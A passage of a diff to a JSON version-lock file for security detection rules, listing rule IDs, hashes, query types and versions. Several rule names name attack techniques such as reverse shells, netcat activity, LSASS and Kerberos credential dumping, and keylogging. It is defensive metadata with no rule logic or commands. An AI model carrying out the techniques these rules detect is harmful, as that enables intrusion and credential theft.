"query", + "version": 5 + }, + "97359fd8-757d-4b1d-9af1-ef29e4a8680e": { + "rule_name": "GCP Storage Bucket Configuration Modification", + "sha256": "bf46beb44ae071c1d51a5e3d5f2bb6fc6556087aaebec176dcacc2534e974560", + "type": "query", + "version": 5 + }, + "979729e7-0c52-4c4c-b71e-88103304a79f": { + "rule_name": "AWS SAML Activity", + "sha256": "db73bb49c842b6e76bc78b2f090869034d732417e7e2588dcc6afcaec00be4f2", + "type": "query", + "version": 2 + }, + "97a8e584-fd3b-421f-9b9d-9c9d9e57e9d7": { + "rule_name": "Potential Abuse of Repeated MFA Push Notifications", + "sha256": "db6fc652133f94ed3b56312ed656e59574f6060596c8663a150999b25c8fb3e9", + "type": "eql", + "version": 1 + }, + "97aba1ef-6034-4bd3-8c1a-1e0996b27afa": { + "rule_name": "Suspicious Zoom Child Process", + "sha256": "939b366f86b602d26bc22bbeaed26cfdf9465352e186f0b0034f0c2b0b1d0bae", + "type": "eql", + "version": 5 + }, + "97f22dab-84e8-409d-955e-dacd1d31670b": { + "rule_name": "Base64 Encoding/Decoding Activity", + "sha256": "86fb84d8b0d3b72763c1f25b159b87869dedc4bbea83405c178c095c7f2e66f3", + "type": "query", + "version": 7 + }, + "97fc44d3-8dae-4019-ae83-298c3015600f": { + "rule_name": "Startup or Run Key Registry Modification", + "sha256": "1827b7a04db141b503dcbe4bdd0c18468ccc43b937e02c76d1f2e7686d2b17ef", + "type": "eql", + "version": 5 + }, + "9890ee61-d061-403d-9bf6-64934c51f638": { + "rule_name": "GCP IAM Service Account Key Deletion", + "sha256": "b9684cdb75a2a1269bf2e791e60465bb5fe8c0155cababa9c3bb4711ae5bd1d9", + "type": "query", + "version": 6 + }, + "98995807-5b09-4e37-8a54-5cae5dc932d7": { + "rule_name": "Microsoft 365 Exchange Management Group Role Assignment", + "sha256": "5ee29abad0dcdcae5a013c3f3d55a4276d2e3dc2aeee0926e24157f90944a777", + "type": "query", + "version": 5 + }, + "98fd7407-0bd5-5817-cda0-3fcc33113a56": { + "rule_name": "AWS EC2 Snapshot Activity", + "sha256": "1d81b70ac1e4228bcd3d3d0c3c1e32856559b239753ac6e28bf198a118852208", + "type": "query", + "version": 5 + }, + "990838aa-a953-4f3e-b3cb-6ddf7584de9e": { + "rule_name": "Process Injection - Prevented - Elastic Endgame", + "sha256": "c8e41a6bd406b08af3b150d25058d4cd83f887d58e6e7b13f25c6a8cbfe3dba5", + "type": "query", + "version": 7 + }, + "99239e7d-b0d4-46e3-8609-acafcf99f68c": { + "rule_name": "macOS Installer Spawns Network Event", + "sha256": "07c9c8e38e3443ff00955fbdcfd03ed0b67974906d56679ed5f34fa34826a709", + "type": "eql", + "version": 3 + }, + "9960432d-9b26-409f-972b-839a959e79e2": { + "rule_name": "Potential Credential Access via LSASS Memory Dump", + "sha256": "34e37a8d16f99007d21007aa800c2fc54f0de699490e0b9be262f91735376854", + "type": "eql", + "version": 3 + }, + "99dcf974-6587-4f65-9252-d866a3fdfd9c": { + "min_stack_version": "7.14.0", + "rule_name": "Spike in Failed Logon Events", + "sha256": "7672fb2df32a9f3da61cb0c2022f18f8bf57af080a3e29e0b647e715d887ef07", + "type": "machine_learning", + "version": 2 + }, + "9a1a2dae-0b5f-4c3d-8305-a268d404c306": { + "rule_name": "Endpoint Security", + "sha256": "35d86aa3177f1e13febf07e1a2921393a63e9661a1a326ef641997855f1eff09", + "type": "query", + "version": 3 + }, + "9a5b4e31-6cde-4295-9ff7-6be1b8567e1b": { + "rule_name": "Suspicious Explorer Child Process", + "sha256": "c0fb8365df33514e95358c2dff239e8a61b31afbd060ab86ebcd8c00eb20e5fb", + "type": "eql", + "version": 4 + }, + "9aa0e1f6-52ce-42e1-abb3-09657cee2698": { + "rule_name": "Scheduled Tasks AT Command Enabled", + "sha256": "e42d1f11048885170aa1c334ea460e06ecf2fd17585fbf040805fb33714bb0bf", + "type": "eql", + "version": 4 + }, + "9b6813a1-daf1-457e-b0e6-0bb4e55b8a4c": { + "rule_name": "Persistence via WMI Event Subscription", + "sha256": "60f3f4ec605f4c52a7cfc278b265651dd12b5b9177a26143a797395fc327d22b", + "type": "eql", + "version": 4 + }, + "9c260313-c811-4ec8-ab89-8f6530e0246c": { + "rule_name": "Hosts File Modified", + "sha256": "3c3588d174cd600f65ee7d3050915a5831b1bd182e27561d3615c7f77973846b", + "type": "eql", + "version": 6 + }, + "9ccf3ce0-0057-440a-91f5-870c6ad39093": { + "rule_name": "Command Shell Activity Started via RunDLL32", + "sha256": "3672f0f401956a6aa3757faa0cf494a614115fe3a1eeefc8c7f5f61722c7859d", + "type": "eql", + "version": 4 + }, + "9d110cb3-5f4b-4c9a-b9f5-53f0a1707ae1": { + "rule_name": "Trusted Developer Application Usage", + "sha256": "01562e377ae2b4b0c607fb9d5776d0d78e0c2452bfd0ec90c08ff9f99499e349", + "type": "query", + "version": 7 + }, + "9d110cb3-5f4b-4c9a-b9f5-53f0a1707ae2": { + "rule_name": "Microsoft Build Engine Started by a Script Process", + "sha256": "87c20cfb4ea3953543c6011959936c3cdc29ec7b103b20edb95253055c27fde1", + "type": "eql", + "version": 10 + }, + "9d110cb3-5f4b-4c9a-b9f5-53f0a1707ae3": { + "rule_name": "Microsoft Build Engine Started by a System Process", + "sha256": "f04344278f08e013710f49865b7c6a98732bbe932665e30e5ea30696e19a1057", + "type": "eql", + "version": 9 + }, + "9d110cb3-5f4b-4c9a-b9f5-53f0a1707ae4": { + "rule_name": "Microsoft Build Engine Using an Alternate Name", + "sha256": "6aa2f902a6c209e4698dff7263b27b1592311dd713e902640ce9f9a2300efeda", + "type": "eql", + "version": 9 + }, + "9d110cb3-5f4b-4c9a-b9f5-53f0a1707ae5": { + "rule_name": "Microsoft Build Engine Loading Windows Credential Libraries", + "sha256": "adee2abc28a974071b6f404a24a10cca641beed6625be5e838bab6cd31f8e9f0", + "type": "eql", + "version": 8 + }, + "9d110cb3-5f4b-4c9a-b9f5-53f0a1707ae6": { + "rule_name": "Microsoft Build Engine Started an Unusual Process", + "sha256": "a61f532cce3874503bbd1987cc4617a2ad83fd6b289756ccd1b4830bdbf496b7", + "type": "eql", + "version": 8 + }, + "9d110cb3-5f4b-4c9a-b9f5-53f0a1707ae9": { + "rule_name": "Process Injection by the Microsoft Build Engine", + "sha256": "f8c58299787763270b2017db703e128e0ac183a555ebf4bb1de27ec2df22c46b", + "type": "query", + "version": 5 + }, + "9d19ece6-c20e-481a-90c5-ccca596537de": { + "rule_name": "LaunchDaemon Creation or Modification and Immediate Loading", + "sha256": "85c51be85ab3d5663e311b2549849c31b9da10cb4e8c76762efa8ef23aa601fe", + "type": "eql", + "version": 3 + }, + "9d302377-d226-4e12-b54c-1906b5aec4f6": { + "rule_name": "Unusual Linux Process Calling the Metadata Service", + "sha256": "939fb37f3245d63c1e25753987fcf1b542e5e60e2f84d4dc26226d40be958420", + "type": "machine_learning", + "version": 3 + }, + "9f1c4ca3-44b5-481d-ba42-32dc215a2769": { + "rule_name": "Potential Protocol Tunneling via EarthWorm", + "sha256": "03ea09bf741f0864cbfcd01045657c731176e2cb81f0a022f61644e68e543e95", + "type": "eql", + "version": 1 + }, + "9f962927-1a4f-45f3-a57b-287f2c7029c1": { + "rule_name": "Potential Credential Access via DCSync", + "sha256": "8ca3cc529b90e43084ed7e700fdb9909e21585b9856284780c92bb4d7493c348", + "type": "eql", + "version": 1 + }, + "9f9a2a82-93a8-4b1a-8778-1780895626d4": { + "rule_name": "File Permission Modification in Writable Directory", + "sha256": "16cfbbcd52c7b8f485e51e3cad277ee20e1a5a59a61059cb884a61e67cc8ba1b", + "type": "query", + "version": 6 + }, + "a00681e3-9ed6-447c-ab2c-be648821c622": { + "rule_name": "AWS Access Secret in Secrets Manager", + "sha256": "f3406ca397e06939999f7ca3d674b4fb81401a65f23403bef4494ccd159e7d6a", + "type": "query", + "version": 5 + }, + "a10d3d9d-0f65-48f1-8b25-af175e2594f5": { + "rule_name": "GCP Pub/Sub Topic Creation", + "sha256": "ff689b3bd1c5bb0b4f157cc38be2b84d8d17823bac91935c763b0b3d984352d9", + "type": "query", + "version": 6 + }, + "a13167f1-eec2-4015-9631-1fee60406dcf": { + "rule_name": "InstallUtil Process Making Network Connections", + "sha256": "d7a9f13cd241a8a41a9b8a0fa534b662929f57162382e173dc2a99ab49da8a8a", + "type": "eql", + "version": 4 + }, + "a1329140-8de3-4445-9f87-908fb6d824f4": { + "rule_name": "File Deletion via Shred", + "sha256": "f593f43ce7a9f78b7f49de94fbed61766e76d7721abd4ccc86f7b6f4f8edcb4f", + "type": "query", + "version": 7 + }, + "a16612dd-b30e-4d41-86a0-ebe70974ec00": { + "rule_name": "Potential LSASS Clone Creation via PssCaptureSnapShot", + "sha256": "03bdeac5057893f51610fb230139686e35a436d905b7465555966dcfe1769fa9", + "type": "eql", + "version": 1 + }, + "a17bcc91-297b-459b-b5ce-bc7460d8f82a": { + "rule_name": "GCP Virtual Private Cloud Route Deletion", + "sha256": "7b3b1690df6c6b2ede0ea186a352d58f47717c62493f9e48c34776123c3f6d3b", + "type": "query", + "version": 5 + }, + "a1a0375f-22c2-48c0-81a4-7c2d11cc6856": { + "rule_name": "Potential Reverse Shell Activity via Terminal", + "sha256": "c9bf1fe195602f505c43eda209be7267cf3997e49d86773f719a0a4300d70db8", + "type": "eql", + "version": 1 + }, + "a22a09c2-2162-4df0-a356-9aacbeb56a04": { + "rule_name": "DNS-over-HTTPS Enabled via Registry", + "sha256": "6f78fd32e25cee20e54d68955f70146f8fef6c8a9a407838c98a204075d706b2", + "type": "eql", + "version": 2 + }, + "a3ea12f3-0d4e-4667-8b44-4230c63f3c75": { + "rule_name": "Execution via local SxS Shared Module", + "sha256": "fee8b8d1d56be16d7fe1a0de049286cf7095506b3bf9cc39d48e18ea8fbfd356", + "type": "eql", + "version": 4 + }, + "a4ec1382-4557-452b-89ba-e413b22ed4b8": { + "rule_name": "Network Connection via Mshta", + "sha256": "233377abf3f67401dc4208d28639241ca34ed38ba30aa4037251b1274fa5bd17", + "type": "eql", + "version": 4 + }, + "a60326d7-dca7-4fb7-93eb-1ca03a1febbd": { + "rule_name": "AWS IAM Assume Role Policy Update", + "sha256": "b4e96a5981f76437befb7a429bb81752d2b1bdd22fbb69f417fb410c63c2253b", + "type": "query", + "version": 5 + }, + "a605c51a-73ad-406d-bf3a-f24cc41d5c97": { + "rule_name": "Azure Active Directory PowerShell Sign-in", + "sha256": "a8f05e0880af5eee9583781ae4d138b80f47204e064fbac508d287673ca17255", + "type": "query", + "version": 4 + }, + "a624863f-a70d-417f-a7d2-7a404638d47f": { + "rule_name": "Suspicious MS Office Child Process", + "sha256": "e07a208a63f777c6b78eb3e2d91fc678372672774e5c42448f1cc5dddd54d893", + "type": "eql", + "version": 9 + }, + "a6bf4dd4-743e-4da8-8c03-3ebd753a6c90": { + "rule_name": "Emond Rules Creation or Modification", + "sha256": "59289eddd2040bc752795a3b4b65166988f1d4f1444723421c506d184777a7d9", + "type": "eql", + "version": 1 + }, + "a7ccae7b-9d2c-44b2-a061-98e5946971fa": { + "rule_name": "Suspicious PrintSpooler SPL File Created", + "sha256": "f4e0b1722307631cf5e4d40f510227283e04df89bb1190886dc8016879566d4a", + "type": "eql", + "version": 4 + }, + "a7e7bfa3-088e-4f13-b29e-3986e0e756b8": { + "rule_name": "Credential Acquisition via Registry Hive Dumping", + "sha256": "44e523ff34b1fc8bc57e3691d0d7688ee9adabcb86d83dca1175a98f5352746f", + "type": "eql", + "version": 4 + }, + "a87a4e42-1d82-44bd-b0bf-d9b7f91fb89e": { + "rule_name": "Web Application Suspicious Activity: POST Request Declined", + "sha256": "1f59c0bfab965460c7fea8706f18a0768cca899c0403ed1110a2d274c6727b1a", + "type": "query", + "version": 8 + }, + "a9198571-b135-4a76-b055-e3e5a476fd83": { + "rule_name": "Hex Encoding/Decoding Activity", + "sha256": "b6cfa5bf24a78049ee0f873fe01bcc14ef5116a6adf59b8721abeb11ceca01cf", + "type": "query", + "version": 7 + }, + "a989fa1b-9a11-4dd8-a3e9-f0de9c6eb5f2": { + "rule_name": "Microsoft 365 Exchange Safe Link Policy Disabled", + "sha256": "ffcf3a23ecf79db330993ab61cde6b83bcd1e767ff5c2f1ef06eaa13e17a8a1f", + "type": "query", + "version": 5 + }, + "a99f82f5-8e77-4f8b-b3ce-10c0f6afbc73": { + "min_stack_version": "8.0", + "previous": { + "7.13.0": { + "rule_name": "Google Workspace Password Policy Modified", + "sha256": "cadc95b5eb7938b3b7310150089830d4dad51e3499916cd2f5c82446659b4051", + "type": "query", + "version": 8 + } + }, + "rule_name": "Google Workspace Password Policy Modified", + "sha256": "7741aa9c38ba126329fbb075496847374a2dd8d65aadd49aa25b7f0f00e6aeb5", + "type": "query", + "version": 9 + }, + "a9b05c3b-b304-4bf9-970d-acdfaef2944c": { + "rule_name": "Persistence via Hidden Run Key Detected", + "sha256": "09f364282ecc1369272d232ea563722f124c9be5636ae2c9bcbfd6821f8721b7", + "type": "eql", + "version": 4 + }, + "a9cb3641-ff4b-4cdc-a063-b4b8d02a67c7": { + "rule_name": "IPSEC NAT Traversal Port Activity", + "sha256": "f3e51f33c8c8fda2a728a1e73185ef757441a7a1fe4d4c7e057ba1ba00e8fd4c", + "type": "query", + "version": 8 + }, + "aa8007f0-d1df-49ef-8520-407857594827": { + "rule_name": "GCP IAM Custom Role Creation", + "sha256": "202bc852ab071859636c80b729cda9593499618b3f2dc34c38e267c76a453f6b", + "type": "query", + "version": 6 + }, + "aa895aea-b69c-4411-b110-8d7599634b30": { + "rule_name": "System Log File Deletion", + "sha256": "0d46a18e785f0b5daee88973ca06fdcadeb743a9736224a965e472343ca74d30", + "type": "eql", + "version": 3 + }, + "aa9a274d-6b53-424d-ac5e-cb8ca4251650": { + "rule_name": "Remotely Started Services via RPC", + "sha256": "d9ef79e203bf39157dce4e28b94d8ecc9a2863e1171d5003948421ce236c9a2e", + "type": "eql", + "version": 4 + }, + "ab75c24b-2502-43a0-bf7c-e60e662c811e": { + "rule_name": "Remote Execution via File Shares", + "sha256": "a4fa795f24e1eecf02164092ec16a99174eddb8733615dc448b876ebd08b8426", + "type": "eql", + "version": 2 + }, + "abae61a8-c560-4dbd-acca-1e1438bff36b": { + "rule_name": "Unusual Windows Process Calling the Metadata Service", + "sha256": "c8bab792d5a0d3d62e1447a105d4446258611cda4cb8a9e4b694a0d514c93728", + "type": "machine_learning", + "version": 3 + }, + "ac412404-57a5-476f-858f-4e8fbb4f48d8": { + "rule_name": "Potential Persistence via Login Hook", + "sha256": "441dfd8343418bbfed2e8b8d16a371e1bf8e4d742fae0d6237c8cc4f4754fad8", + "type": "query", + "version": 2 + }, + "ac5012b8-8da8-440b-aaaf-aedafdea2dff": { + "rule_name": "Suspicious WerFault Child Process", + "sha256": "f9937673d94c8d62bfbabf458c5e1153c72a785fbe91043e3598f248d75f9f98", + "type": "eql", + "version": 4 + }, + "ac706eae-d5ec-4b14-b4fd-e8ba8086f0e1": { + "rule_name": "Unusual AWS Command for a User", + "sha256": "70a62aa5cade20e81839deb1cef446ae52ca3a21725d7bfc00c7fe0adb539d55", + "type": "machine_learning", + "version": 7 + }, + "acbc8bb9-2486-49a8-8779-45fb5f9a93ee": { + "min_stack_version": "8.0", + "previous": { + "7.13.0": { + "rule_name": "Google Workspace API Access Granted via Domain-Wide Delegation of Authority", + "sha256": "01a8beca2e8f570d63e7614d558243b1d0b9c42d9e0ce9f439b10016f06eaea3", + "type": "query", + "version": 7 + } + }, + "rule_name": "Google Workspace API Access Granted via Domain-Wide Delegation of Authority", + "sha256": "3d8eab60bf795ae6756c1c6058a7c1be2eb14e1c1777a7b4bda27e1906206c95", + "type": "query", + "version": 8 + }, + "acd611f3-2b93-47b3-a0a3-7723bcc46f6d": { + "rule_name": "Potential Command and Control via Internet Explorer", + "sha256": "ecf39233d5f53c119cd57516c3b0ad7c0bc09ff58fd279a47a28d5b61f6c10e1", + "type": "eql", + "version": 5 + }, + "ace1e989-a541-44df-93a8-a8b0591b63c0": { + "rule_name": "Potential SSH Brute Force Detected", + "sha256": "d29b62554e453edb9dea6a8ac0d579c62aded9e00bd9d832e71760d5738d5c1e", + "type": "threshold", + "version": 2 + }, + "acf738b5-b5b2-4acc-bad9-1e18ee234f40": { + "rule_name": "Suspicious Managed Code Hosting Process", + "sha256": "471a87bc02e6f7d085e50a6378130101e802abd05fc78def073643851037c95d", + "type": "eql", + "version": 4 + }, + "ad0e5e75-dd89-4875-8d0a-dfdc1828b5f3": { + "rule_name": "Proxy Port Activity to the Internet", + "sha256": "b6ebab2e583cd3bf78d4951f8718ff88b6bbea6dfd4004c586ce00a703ec0a10", + "type": "query", + "version": 8 + }, + "ad3f2807-2b3e-47d7-b282-f84acbbe14be": { + "min_stack_version": "8.0", + "previous": { + "7.13.0": { + "rule_name": "Google Workspace Custom Admin Role Created", + "sha256": "8b04328630ae74389a2b77d23700d2bfd3900c6008bf0aa9654c2432b427b9c9", + "type": "query", + "version": 7 + } + }, + "rule_name": "Google Workspace Custom Admin Role Created", + "sha256": "72ff218857ba09e7c08970ebc6cdfcba3cd1dd4f0711dbd403b074fee911011c", + "type": "query", + "version": 8 + }, + "ad84d445-b1ce-4377-82d9-7c633f28bf9a": { + "rule_name": "Suspicious Portable Executable Encoded in Powershell Script", + "sha256": "357d02c45f3021968f8a30e2a4a9c4f8756fc98f2a06c67e1b05cad44efe8ec0", + "type": "query", + "version": 4 + }, + "ad88231f-e2ab-491c-8fc6-64746da26cfe": { + "rule_name": "Kerberos Cached Credentials Dumping", + "sha256": "ae34300bc6a31dec04ee9e3edfda886d660fef5b4b5b11ac17e87b1c12629a2b", + "type": "query", + "version": 4 + }, + "adb961e0-cb74-42a0-af9e-29fc41f88f5f": { + "rule_name": "Netcat Network Activity", + "sha256": "fbd9235f346b2954a4f2c978d543d34065e3534b0e17101a79a7fdc249a07656", + "type": "eql", + "version": 6 + }, + "afcce5ad-65de-4ed2-8516-5e093d3ac99a": { + "rule_name": "Local Scheduled Task Creation", + "sha256": "f0210dc49e358f7039b60f9f0ff7b2339cf65c5cfeda0b549e0dcd4e0071888c", + "type": "eql", + "version": 10 + }, + "b0046934-486e-462f-9487-0d4cf9e429c6": { + "rule_name": "Timestomping using Touch Command", + "sha256": "46f80cee555f16f5b0d6567797b79aff56bf202703fcc3d718d0b057fc05d2d3", + "type": "eql", + "version": 4 + }, + "b00bcd89-000c-4425-b94c-716ef67762f6": { + "rule_name": "TCC Bypass via Mounted APFS Snapshot Access", + "sha256": "826bc637cc0f012b3a24a3c6e47b41edc9957eb2d361245eab2562f4d43b6247", + "type": "query", + "version": 1 + }, + "b1c14366-f4f8-49a0-bcbb-51d2de8b0bb8": { + "rule_name": "Potential Persistence via Cron Job", + "sha256": "0c030fdda99d067a509f80bd3faff91ee4d8414e5074a9ef6cf7bf5fc97fcbed", + "type": "query", + "version": 1 + }, + "b240bfb8-26b7-4e5e-924e-218144a3fa71": { + "rule_name": "Spike in Network Traffic", + "sha256": "64955fd74b359a0ab411b632bce3bd9f4520f486fe3a1b7a16e7f4973faf8417", + "type": "machine_learning", + "version": 3 + }, + "b25a7df2-120a-4db2-bd3f-3e4b86b24bee": { + "rule_name": "Remote File Copy via TeamViewer", + "sha256": "da3c30b2325fde833e7f51119907e7fe036c63d2c519ebc209219678adcaf401", + "type": "eql", + "version": 5 + }, + "b2951150-658f-4a60-832f-a00d1e6c6745": { + "rule_name": "Microsoft 365 Unusual Volume of File Deletion", + "sha256": "c1217476aff9f395f81ab6d124984ece66187ecdc92c7519c7cddcce25d69bb1", + "type": "query", + "version": 2 + }, + "b29ee2be-bf99-446c-ab1a-2dc0183394b8": { + "rule_name": "Network Connection via Compiled HTML File", + "sha256": "178f41173d20d636480f9ed3b789bb0815b9f38a327bab209b3a98e29e5ff6ed", + "type": "eql", + "version": 9 + }, + "b347b919-665f-4aac-b9e8-68369bf2340c": { + "rule_name": "Unusual Linux Username", + "sha256": "e25a73b70b17529d8b55a00fffc8d8519098a3374280fad8d7081623383fa6eb", + "type": "machine_learning", + "version": 7 + }, + "b41a13c6-ba45-4bab-a534-df53d0cfed6a": { + "rule_name": "Suspicious Endpoint Security Parent Process", + "sha256": "f54b395d6dfa7b126c8bd7c5e445821fe436f4e33c99dd76f6beb89929d6e454", + "type": "eql", + "version": 4 + }, + "b4449455-f986-4b5a-82ed-e36b129331f7": { + "rule_name": "Potential Persistence via Atom Init Script Modification", + "sha256": "9f2b91695b4312bdd195b4b435baca4915e550c4d1d524e7d2fd81ad7f56f9a1", + "type": "query", + "version": 1 + }, + "b45ab1d2-712f-4f01-a751-df3826969807": { + "rule_name": "AWS STS GetSessionToken Abuse", + "sha256": "dafc0655d05eda9f4d7aa25bc681f944dfbb3406af1af35b75c17f0361e07c05", + "type": "query", + "version": 1 + }, + "b4bb1440-0fcb-4ed1-87e5-b06d58efc5e9": { + "rule_name": "Attempt to Delete an Okta Policy", + "sha256": "c2e6159b2299edf22ee885dfe16c66885739f453c602cca8929190fd39417dac", + "type": "query", + "version": 6 + }, + "b5877334-677f-4fb9-86d5-a9721274223b": { + "rule_name": "Clearing Windows Console History", + "sha256": "7019e4bc7049a79eaaa17917e400a2267ed18d60a47401930de10ac006e4c426", + "type": "eql", + "version": 1 + }, + "b5ea4bfe-a1b2-421f-9d47-22a75a6f2921": { + "rule_name": "Volume Shadow Copy Deleted or Resized via VssAdmin", + "sha256": "1232ea6310a97df413022bbeba916d1067e8d6a7e9e5910df9f95ac3a1631575", + "type": "eql", + "version": 11 + }, + "b64b183e-1a76-422d-9179-7b389513e74d": { + "rule_name": "Windows Script Interpreter Executing Process via WMI", + "sha256": "10a7503a00c05ce3603ded3a6a5ca6c6cc3087c78881142356ccfa32882f6e71", + "type": "eql", + "version": 2 + }, + "b6dce542-2b75-4ffb-b7d6-38787298ba9d": { + "rule_name": "Azure Event Hub Authorization Rule Created or Updated", + "sha256": "90d50261b3b2a019e5fc38ce8a60d012d3ce78cee9a83709883621fc5c108150", + "type": "query", + "version": 5 + }, + "b719a170-3bdb-4141-b0e3-13e3cf627bfe": { + "rule_name": "Attempt to Deactivate an Okta Policy", + "sha256": "54696851213ea2ef95385bdc4cb58d942bcf0ffa4d5663228c057dd9b5303bee", + "type": "query", + "version": 6 + }, + "b8075894-0b62-46e5-977c-31275da34419": { + "rule_name": "Administrator Privileges Assigned to an Okta Group", + "sha256": "0ab87cf62524d8d39578a9c8b1af307d665f1a412a64dc559e92432735cacb55", + "type": "query", + "version": 6 + }, + "b83a7e96-2eb3-4edf-8346-427b6858d3bd": { + "rule_name": "Creation or Modification of Domain Backup DPAPI private key", + "sha256": "f2337e3bf6ede7fe3d56f1b71e0c49055ccbacb5d1e3490fca8e6d0ad3b803a7", + "type": "eql", + "version": 6 + }, + "b86afe07-0d98-4738-b15d-8d7465f95ff5": { + "rule_name": "Network Connection via MsXsl", + "sha256": "6569c4c09b7707943f2abd68297581a9b96cda43f2749734235e476c970787d4", + "type": "eql", + "version": 7 + }, + "b90cdde7-7e0d-4359-8bf0-2c112ce2008a": { + "rule_name": "UAC Bypass Attempt with IEditionUpgradeManager Elevated COM Interface", + "sha256": "051717de0f6c9db9ae1ebe6405e072627948848da2868a8c0deb5e624f0cd2e5", + "type": "eql", + "version": 4 + }, + "b9554892-5e0e-424b-83a0-5aef95aa43bf": { + "rule_name": "Group Policy Abuse for Privilege Addition", + "sha256": "d7cab2144989c107af3b92511c7d537f09bd71feea642b68bf1618580999ca4f", + "type": "query", + "version": 2 + }, + "b9666521-4742-49ce-9ddc-b8e84c35acae": { + "min_stack_version": "7.13.0", + "rule_name": "Creation of Hidden Files and Directories", + "sha256": "8e1e234b34a64f445bf854bc5c68bfa88bb2958a08ffcb995ccfe2db81e123e6", + "type": "eql", + "version": 7 + }, + "b9960fef-82c6-4816-befa-44745030e917": { + "rule_name": "SolarWinds Process Disabling Services via Registry", + "sha256": "fb5ff8beabd1977f3f402a145b5142fb38ebfc46926df7ef1830d696692d8897", + "type": "eql", + "version": 4 + }, + "ba342eb2-583c-439f-b04d-1fdd7c1417cc": { + "rule_name": "Unusual Windows Network Activity", + "sha256": "e902d7fb397e08212a5197fa5dce5708b07375ee8b7ccc2719b0633e9b8c27e3", + "type": "machine_learning", + "version": 7 + }, + "baa5d22c-5e1c-4f33-bfc9-efa73bb53022": { + "rule_name": "Suspicious Image Load (taskschd.dll) from MS Office", + "sha256": "4359dc522ac5d74051800cc05272be74bda5c0d5a2a914038c13a13642eb25a6", + "type": "eql", + "version": 3 + }, + "bb4fe8d2-7ae2-475c-8b5d-55b449e4264f": { + "rule_name": "Azure Resource Group Deletion", + "sha256": "05d3511a18870e475f0a29b788a09df1b90b7dd3d8c30d71c1fd0f102b7a028b", + "type": "query", + "version": 5 + }, + "bb9b13b2-1700-48a8-a750-b43b0a72ab69": { + "rule_name": "AWS EC2 Encryption Disabled", + "sha256": "adb8ef40d1bdb8dc542122c628457232cfa38a8e3cfa3154dbc75847eed0012f", + "type": "query", + "version": 6 + }, + "bba1b212-b85c-41c6-9b28-be0e5cdfc9b1": { + "rule_name": "OneDrive Malware File Upload", + "sha256": "e6c68dc60c27ef6e892718a4e3a1071d1d22afb2050b249e94e4ffd94d91185c", + "type": "query", + "version": 1 + }, + "bbd1a775-8267-41fa-9232-20e5582596ac": { + "rule_name": "Microsoft 365 Teams Custom Application Interaction Allowed", + "sha256": "cf4ab6152eb828c653990718827e21f607f56f75618bd5f39f07e9ce0297f0b6", + "type": "query", + "version": 5 + }, + "bc0c6f0d-dab0-47a3-b135-0925f0a333bc": { + "rule_name": "AWS Root Login Without MFA", + "sha256": "e1f5cf52a7d175097f8214d1df8ae5c8b9210b46830621e04baedc8df3670668", + "type": "query", + "version": 5 + }, + "bc0f2d83-32b8-4ae2-b0e6-6a45772e9331": { + "rule_name": "GCP Storage Bucket Deletion", + "sha256": "5346621003185f9e9f4f4bf9caf8ec32cd996948cd76122ccbfeb4fe19e92908", + "type": "query", + "version": 6 + }, + "bc1eeacf-2972-434f-b782-3a532b100d67": { + "rule_name": "Attempt to Install Root Certificate", + "sha256": "ecbccde9d45ab87e4c3959dc93eb79ec19b29919d3e172c6a30c702e1b5b59bd", + "type": "query", + "version": 1 + }, + "bc48bba7-4a23-4232-b551-eca3ca1e3f20": { + "rule_name": "Azure Conditional Access Policy Modified", + "sha256": "a00630117e151eb94950ab0413bee80f0492d7520ffb5cf7f4444e9206eb6752", + "type": "query", + "version": 5 + }, + "bca7d28e-4a48-47b1-adb7-5074310e9a61": { + "rule_name": "GCP Service Account Disabled", + "sha256": "660c3b64b35ea795bb74c9eb7b6b3b83154cd7b2eafd8eacd053cb30c89785e1", + "type": "query", + "version": 5 + }, + "bd2c86a0-8b61-4457-ab38-96943984e889": { + "rule_name": "PowerShell Keylogging Script", + "sha256": "199201b60e09a340510fcf44f7d7e6a585f9994694d4aa9733417311eef15edd", + "type": "query", + "version": 3 + }, + "bd7eefee-f671-494e-98df-f01daf9e5f17": { + "rule_name": "Suspicious Print Spooler Point and Print DLL", + "sha256": "d32226f39b805f0d3b878197ce1e5edefacb3256c64e3e9202c9471e13b4e3c9", + "type": "eql", + "version": 3 + }, + "bdcf646b-08d4-492c-870a-6c04e3700034": { + "rule_name": "Potential Privileged Escalation via SamAccountName Spoofing", + "sha256": "1ab2d4264e5364a263cf0fa8de1fa0560dd6e7bc17b7da303eb226263f58c3b7", + "type": "eql", + "version": 1 + }, + "be8afaed-4bcd-4e0a-b5f9-5562003dde81": { + "rule_name": "Searching for Saved Credentials via VaultCmd", + "sha256": "992fc3eb2005070d0a2eb094b89e093b57426cbe863e2c35c946265fb8f0d23c", + "type": "eql", + "version": 2 + }, + "bf1073bf-ce26-4607-b405-ba1ed8e9e204": { + "rule_name": "AWS RDS Snapshot Restored", + "sha256": "4f5ffad0a0704fa36742992383f0ddc019d7cccaca8810bb8ff864f791f3699d", + "type": "query", + "version": 3 + }, + "bfeaf89b-a2a7-48a3-817f-e41829dc61ee": { + "rule_name": "Suspicious DLL Loaded for Persistence or Privilege Escalation", + "sha256": "2e2cc6d275afd2b0ad2082fc64d16ff251c7b91b0ad5370583bc7fb460166ee5", + "type": "eql", + "version": 2 + }, + "c02c8b9f-5e1d-463c-a1b0-04edcdfe1a3d": { + "rule_name": "Potential Privacy Control Bypass via Localhost Secure Copy", + "sha256": "56997e25c16d915db541338be6e5a8c2fb86ea53e874dabdb5648b8dac17026b", + "type": "eql", + "version": 1 + }, + "c0429aa8-9974-42da-bfb6-53a0a515a145": { + "rule_name": "Creation or Modification of a new GPO Scheduled Task or Service", + "sha256": "b252b1b0ae3130cc2aa2af9cd752d49af6d14fd275f6252fa6171a2c9a3ae506", + "type": "eql", + "version": 6 + }, + "c0be5f31-e180-48ed-aa08-96b36899d48f": { + "rule_name": "Credential Manipulation - Detected - Elastic Endgame", + "sha256": "b8e01edc11020238557b88b3db52fb1b046d6704ecec3c71606e6d560684c076", + "type": "query", + "version": 7 + }, + "c1812764-0788-470f-8e74-eb4a14d47573": { + "rule_name": "AWS EC2 Full Network Packet Capture Detected", + "sha256": "7ffda053c321a862e713b7900ef19daf1eb500387ba3bd6789b36e3e9f99f3ab", + "type": "query", + "version": 2 + }, + "c25e9c87-95e1-4368-bfab-9fd34cf867ec": { + "rule_name": "Microsoft IIS Connection Strings Decryption", + "sha256": "e0426acc19d28951632e6d51dc170face86a592f82ae4eb55ee3144a9848b31c", + "type": "eql", + "version": 4 + }, + "c28c4d8c-f014-40ef-88b6-79a1d67cd499": { + "rule_name": "Unusual Linux Network Connection Discovery", + "sha256": 